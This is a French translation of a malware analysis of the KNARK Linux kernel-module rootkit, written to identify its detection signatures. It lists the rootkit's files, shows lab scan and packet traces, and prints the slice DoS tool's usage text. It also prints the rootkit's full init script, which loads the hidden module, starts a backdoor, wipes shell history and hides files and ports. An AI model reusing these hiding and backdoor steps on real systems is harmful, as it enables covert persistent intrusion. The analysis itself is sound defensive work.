Analyse du Root Kit KNARK   Version imprimable de cet article Enregistrer au format PDF

Par Toby Miller

Le but de cet article est d’identifier des signatures liées au rootkit KNARK. Cet article ne montre pas comment installer le rootkit ni ne fait de comparaison entre ce rootkit et tout autre rootkits.


par g0uZ

Un rootkit est une collection de fichiers/programmes employé par l’attaquant(s) pour resaisir un reseau/ordinateur sans être detecte. Normalement un rootkit viendra avec divers exploits pour aider l’attaquant a penetrer un systeme. Récemment, plusieurs exploits ont été associées avec des vulnérabilités communes trouvées dans BIND, Linux line printer et le programme de ftp de Washington University.

En plus des exploits, beaucoup de rootkits également viennent avec et installent des sniffers. Ceci est fait parce que les attaquants veulent capturer des mots de passe des utilisateurs entrant sur ce réseau ; un renifleur peut faire ca et c’est dur à detecter. Un rootkit peut également changer les binaires communs de sorte qu’un administrateur occupé ne les détecte pas.

Des binaires communs sont des binaires qui peuvent être employés pour surveiller les systèmes : /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof, /usr/bin/top (ce n’est pas une liste complete) ; Maintenant que nous avons couvert des bases des rootkits, jetons un regard au rootkit en question.

Le rootkit KNARK

Récemment il a y eu beaucoup de discussion du rootkit KNARK sur la liste des incidents et beaucoup de bonnes références (énumérées à la fin du papier) ont ete citees. J’espère que cet article vous fournira une information certaine et utile. Le rootkit KNARK a m’été envoyé par un ami (un certain huh d’ami ?!) pour regarder et analyse. Le tableau 1 énumère les fichiers qui viennent avec KNARK :

Table 1 : Liste des fichiers venant avec KNARK

  1. Makefile
  2. apache.c
  3. Apache.cgi
  4. backup
  5. Bj.c
  6. caine
  7. Clearmail
  8. dmesg
  9. Dmsg
  10. ered
  11. Exec
  12. fix
  13. Fixtext
  14. ftpt
  15. Gib
  16. gib.c
  17. Hds0
  18. hidef
  19. Inc.h
  20. init
  21. Lesa
  22. login
  23. Lpdx
  24. lpdx.c
  25. Make-ssh-host-key
  26. make-ssh-known-hosts
  27. Module
  28. nethide
  29. Pgr
  30. removeme
  31. Rexec
  32. rkhelh
  33. Rootme
  34. sl2
  35. Sl2.c
  36. snap
  37. Ssh_config
  38. sshd_config
  39. Ssht
  40. statdx2
  41. Sysmod.o
  42. sz
  43. T666
  44. unhidef
  45. Wugod

Télécharger

Apres avoir jeter un coup d’oeil a certains des fichiers, j’ai decide d’installer le rootkit. Knark vient avec un fichier nomme exec (voir table 1) et quand ce fichier est execute, plusieurs choses se passent :

  • Creation des repertoires : /dev/.pizda and /dev/.pula (pas capable de le voir avec ls. Utiliser cd /dev/.pizda).
  • Insertion de sysmod.o.
  • KNARK change aussi les fichiers S99local dans rcX.d. Cela provoque la machine un echec au redemarrage.

La premiere chose que j’ai fait apres l’installation est d’utiliser NMAP : nmap –sS –p 1-65535 192.168.0.20 et d’attendre.

  1. Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
  2. Interesting ports on sec-linux.lab.sec (192.168.0.20):
  3. (The 65523 ports scanned but not shown below are in state: closed)
  4. Port State Service
  5. 21/tcp open ftp
  6. 79/tcp open finger
  7. 111/tcp open sunrpc
  8. 113/tcp open auth
  9. 512/tcp open exec
  10. 513/tcp open login
  11. 514/tcp open shell
  12. 515/tcp open printer
  13. 3001/tcp open nessusd
  14. 18667/tcp open unknown
  15. 31221/tcp open unknown
  16.  
  17. Nmap run completed -- 1 IP address (1 host up) scanned in 33 seconds

Télécharger

- Figure 1. Resultats NMAP

La figure 1 montre beaucoup de choses (bonne chose, cette machine est dans un lab et pas dans la nature : ). D’abord, nous voyons qu’il y a deux ports inconnus (18667 et 31221). Ensuite, nous voyons que cette machine est chanceuse de ne pas avoir ete "rooter" une douzaine de fois.

La prochaine etape est de lancer netstat. Pourquoi ? Bien, nous voulons voir si netstat va montrer les memes ports que NMAP. Si ce n’est pas le cas, nous verfierons le binaire netstat.

  1. Active Internet connections (servers and established)
  2. Proto Recv-Q Send-Q Local Address Foreign Address State
  3. tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN
  4. tcp 0 0 0.0.0.0:512 0.0.0.0:* LISTEN
  5. tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN
  6. tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
  7. tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
  8. tcp 0 0 0.0.0.0:3001 0.0.0.0:* LISTEN
  9. tcp 0 0 0.0.0.0:515 0.0.0.0:* LISTEN
  10. tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
  11. tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
  12. udp 0 0 0.0.0.0:518 0.0.0.0:*
  13. udp 0 0 0.0.0.0:517 0.0.0.0:*
  14. udp 0 0 0.0.0.0:512 0.0.0.0:*
  15. udp 0 0 0.0.0.0:111 0.0.0.0:*
  16. raw 0 0 0.0.0.0:1 0.0.0.0:*
  17. Active UNIX domain sockets (servers and established)
  18. Proto RefCnt Flags Type State I-Node Path
  19. unix 0 [ ACC ] STREAM LISTENING 468 /dev/printer
  20. unix 6 [ ] DGRAM 371 /dev/log
  21. unix 0 [ ACC ] STREAM LISTENING 503 /dev/gpmctl
  22. unix 0 [ ACC ] STREAM LISTENING 2126 /tmp/.font-unix/fs-1
  23. unix 0 [ ] STREAM CONNECTED 173 @00000015
  24. unix 0 [ ] DGRAM 2711
  25. unix 0 [ ] DGRAM 2161
  26. unix 0 [ ] DGRAM 2130
  27. unix 0 [ ] DGRAM 462
  28. unix 0 [ ] DGRAM 394
  29. unix 0 [ ] DGRAM 383

Télécharger

- Figure 2 : Resultats Netstat

La figure 2 est le resultat de netstat –a –n. Deux ports ne sont identifies, donc verifions le binaire netstat. La verification necessite trois etapes :

  • Lancer strings. Cela va nous permettre de voir si un repertoire cache est stocke dans le binaire. Verifié et il n’y avait pas de repertoire cache.
  • Md5sum. Cette etape est logique. La comparaison entre le md5sum de netstat a celui se trouvant sur le CD montre qu’ils sont identiques.
  • Lancer diff. Oui. . . c’est repetitif mais nous avons rien a perdre. Malheureusement, le resultat est le meme. Tout est OK.
  • Dans le passé si une machine avait un rootkit installé, un administrateur pourrait rechercher les binaires et trouver des traces du rootkit. Pas facile aussi dans ce cas-ci. Le rootkit KNARK se cache réellement dans le noyau rendant ce rootkit presque impossible a trouver et analyser. Comment est-ce que ceci est allé ? Bien, les attaquants peuvent faire ceci en utilisant les modules du noyau chargeables (Loadable Kernel Modules LKM). Pour quiconque qui a été dans le monde de Linux vous savez que LKM sont des morceaux de code qui peuvent être chargés dans le système d’exploitation sur demande. En fait on l’encourage que vous employez LKM afin de mettre à jour votre matériel pour votre OS, insérant des modules dans Linux n’est pas difficile, en fait insmod fait le travail.

KNARK vient avec quelques bons exploits.

1) Lpdx – C’est utiliser pour exploit la faille sur le service LPR de redhat. Voila ce qu’un IDS pourrait voir :

09:06:19.991789 > 192.168.1.13.2894 > 192.168.0.40.printer: S 4221747912:4221747912(0) win 32120 <mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF) (ttl 64, id 11263)

09:06:19.993434 < 192.168.1.13.printer > 192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win 32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale 0> (DF) (ttl 64, id 3278)

09:06:19.993514 > 192.168.1.13.2894 > 192.168.0.40.printer: . 1:1(0) ack 1 win 32120 <nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id 11264)

- Figure 3 : Signature Lpr

2) T666 – C’est utiliser pour exploiter BIND 8.2.1. Cet exploit est utilise contre Linux et FreeBSD. Une signature habituelle pour cet outil est un repertoire appele /var/named/ADMROCKS.

3) Wugod – C’est un exploit contre Washington University’s ftpd 2.6.0(1) pour FREEBSD, Linux (RH 6.2 et SuSe 6.3&6.4).

Slice v2.1+, credits : sinkhole, sacred. Rewritten and 1+ by some lamerz :P

  1. ### linux version
  2. Usage: ./sl2 <target> <clones> [-f] [-c] [-d seconds] [-p packets] [-s packetsize] [-maxs packetsize] [-a srcaddr] [-l lowport] [-h highport] [-incports] [-sleep ms] [-syn[ack]]
  3. Target - the target we are trying to attack.
  4. Clones - number of packets to send at once (use -f for more than 6).
  5. -f - force usage of more than 6 clones.
  6. -c - class C flooding.
  7. -d seconds - time to flood in seconds (default 600, use 0 for no timeout).
  8. -p packets - packets to send for each clone (if used with -d is ignored).
  9. -s size - packet size (default 40, use 0 for random packets).
  10. -maxs size - maximum size for random packets.
  11. -a srcaddr - the spoofed source address (random if not specified).
  12. -l lowport - start port (1024 if not specified).
  13. -h highport - end port (65535 if not specified).
  14. -incports - choose ports incremental (random if not specified).
  15. -sleep ms - delay between packets in miliseconds (0=no delay by default).
  16. -syn - use SYN instead ACK.
  17. -synack - use SYN|ACK.

Télécharger


- Figure 4 : Slice (sl2) help output

Comme vous pouvez le voir, cet outil permet a un attaquant de rendre aleatoire ses paquets. Ca le rendra plus difficile a detecter.

  1. 09:05:26.655215 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
  2. 09:05:26.655701 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
  3. 09:05:26.656186 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
  4. 09:05:26.656671 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
  5. 09:05:26.657156 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)
  6. 09:05:26.657642 > 192.168.1.13 > 192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl 255)

Télécharger


- Figure 5 : Resultats de Slice

Regarder la commande d’aide ne nous aidera pas en détectant ce programme, ainsi j’ai décidé d’exécuter le DOS. Le schéma 5 nous montre a quoi slice ressemble le moment où il est utilise. Garder a l’esprit que ces signatures peuvent changer (ceci dépend de l’attaquant et la façon dont le rootkit est installe).

KNARK vient avec beaucoup d’autres outils que nous n’avons pas discuté encore. Le premier outil que nous couvrirons est gib.c. Cet outil écoute sur le port 18667 (un des deux ports que nous avons découverts en utilisant NMAP) et vient avec par défaut un mot de passe de Error. Ce programme est juste votre backdoor typique. Ensuite, nous avons un fichier appelé init. C’est une shell script MAIS, il explique pourquoi il est difficile de détecter ce rootkit.

  1. #!/bin/sh
  2. unset HISTFILE
  3. export HISTFILE=/dev/null
  4. unset _
  5. /sbin/insmod -f /lib/modules/sysmod.o 1>/dev/null 2>/dev/null
  6. if [ -a /usr/bin/gib ]
  7. then
  8. /usr/bin/gib & 1>/dev/null 2>/dev/null
  9. else
  10. echo "aaa" >>/dev/null
  11. fi
  12. /dev/.pizda/jesuscd -f /dev/.pizda/sshd_config -h /dev/.pizda/ssh_host_key -q 1>/dev/null 2>/dev/null
  13. cd "/dev/.pula" 1>/dev/null 2>/dev/null
  14. ./caine >> bashina & 1>/dev/null 2>/dev/null
  15. cd /root
  16. killall -31 gib 1>/dev/null 2>/dev/null
  17. killall -31 jesuscd 1>/dev/null 2>/dev/null
  18. killall -31 caine 1>/dev/null 2>/dev/null
  19. /dev/.pizda/hidef /dev/.pizda 1>/dev/null 2>/dev/null
  20. /dev/.pizda/hidef /dev/.pula 1>/dev/null 2>/dev/null
  21. /dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null
  22. /dev/.pizda/nethide ":48EB" 1>/dev/null 2>/dev/null
  23. /dev/.pizda/nethide ":2FB5" 1>/dev/null 2>/dev/null
  24. /dev/.pizda/nethide ":1A01" 1>/dev/null 2>/dev/null
  25. /dev/.pizda/nethide ":1A02" 1>/dev/null 2>/dev/null
  26. /dev/.pizda/nethide ":1A03" 1>/dev/null 2>/dev/null
  27. /dev/.pizda/nethide ":1A04" 1>/dev/null 2>/dev/null
  28. /dev/.pizda/nethide ":1A05" 1>/dev/null 2>/dev/null
  29. /dev/.pizda/nethide ":1A06" 1>/dev/null 2>/dev/null
  30. /dev/.pizda/nethide ":1A07" 1>/dev/null 2>/dev/null
  31. /dev/.pizda/nethide ":1A08" 1>/dev/null 2>/dev/null
  32. /dev/.pizda/nethide ":1A09" 1>/dev/null 2>/dev/null
  33. /dev/.pizda/nethide ":1A0A" 1>/dev/null 2>/dev/null
  34. /dev/.pizda/nethide ":1A0B" 1>/dev/null 2>/dev/null
  35. /dev/.pizda/nethide ":1A0C" 1>/dev/null 2>/dev/null
  36. /dev/.pizda/nethide ":1A0D" 1>/dev/null 2>/dev/null
  37. /dev/.pizda/nethide ":1A0E" 1>/dev/null 2>/dev/null
  38. /dev/.pizda/nethide ":1A0F" 1>/dev/null 2>/dev/null
  39. /dev/.pizda/nethide ":029A" 1>/dev/null 2>/dev/null
  40. /dev/.pizda/hidef /usr/bin/gib 1>/dev/null 2>/dev/null
  41. /dev/.pizda/hidef /bin/rtty 1>/dev/null 2>/dev/null
  42. /dev/.pizda/hidef /tmp/pgr 1>/dev/null 2>/dev/null
  43. /dev/.pizda/hidef /var/lock/pgr 1>/dev/null 2>/dev/null
  44. /dev/.pizda/hidef /usr/man/man3/pgr 1>/dev/null 2>/dev/null
  45. /dev/.pizda/hidef /lib/modules/sysmod.o 1>/dev/null 2>/dev/null
  46. /dev/.pizda/hidef /sbin/rootme 1>/dev/null 2>/dev/null
  47. if [ -a /var/spool/uucp/zdn ]
  48. then
  49. /dev/.pizda/hidef /var/spool/uucp/zdn 1>/dev/null 2>/dev/null

Télécharger

- Figure 6 : fichier init

Figure 6 explique tout. Je voudrais souligner quelques lignes importantes dans le script.
1) Vous pouvez voir que l’attaquant reste cacher.
2) Il utilise killall –31 pour cacher gib, jessuscd et caine. Afin de les rendre visible vous pouvez entrer killall –32(Il y a un lien a la fin de l’article qui explique ca en detail.).
3) Vous pouvez voir plusieurs references a /dev/.pizda/nethide. Un exemple est :

/dev/.pizda/nethide ":79F5" 1>/dev/null 2>/dev/null.

Bien, pour ceux qui n’ont le temps de faire les conversions hexa :

48EB = 18667                         1A05 = 6661
79F5 = 31221                         1A06 = 6662
029A = 12213                         1A07 = 6663
1A01 = 6657                     1A08 = 6664
1A02 = 6658                     1A09 = 6665
1A03 = 6659                     1A0A = 6666
1A04 = 6660                     1A0B = 6667
1A0C = 6668                     1A0D = 6669
1A0E = 6670                     1A0F = 6671

Recommendations

Pour etre honnete, je n’ai pas beaucoup de temps pour de solides solutions liees aux rootkits LKM. Voila ce que je peux dire. La premiere chose est d’utiliser LIDS. Je ne l’ai pas teste, mais j’ai prevu de le faire bientot. Ensuite, si vous avez un rootkit LKM et que vous ne trouvez rien (binaires changes etc..) essayer de mettre a jour votre version. La MAJ ne supprimera pas le rootkit mais vous permettra peut etre de le voir.
Conclusion

Ce type de rootkit va a l’encontre de tout ce que les administrateurs en securite ont enseigne. Dans le passe, les rootkits se cachaient avec des binaires modifies. Les admin utilisaient de bons binaires pour les detecter et puis fini ! Avec cette bete, ce n’est pas aussi simple.

Lectures recommendees

Concepts de developpement d’un tel rootkit

http://packetstorm.securify.com/groups/thc/LKM_HACKING.html

Plus sur la programmation LKM

- http://howto.tucows.com/LDP/LDP/lkmpg

Phrack

- http://www.2600.com/phrack/p52-06.html

- http://www.2600.com/phrack/p52-06.html

-Post Scriptum :

Par Toby Miller
Traduit par Nightbird (nightbirdfr.com)
Article original

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique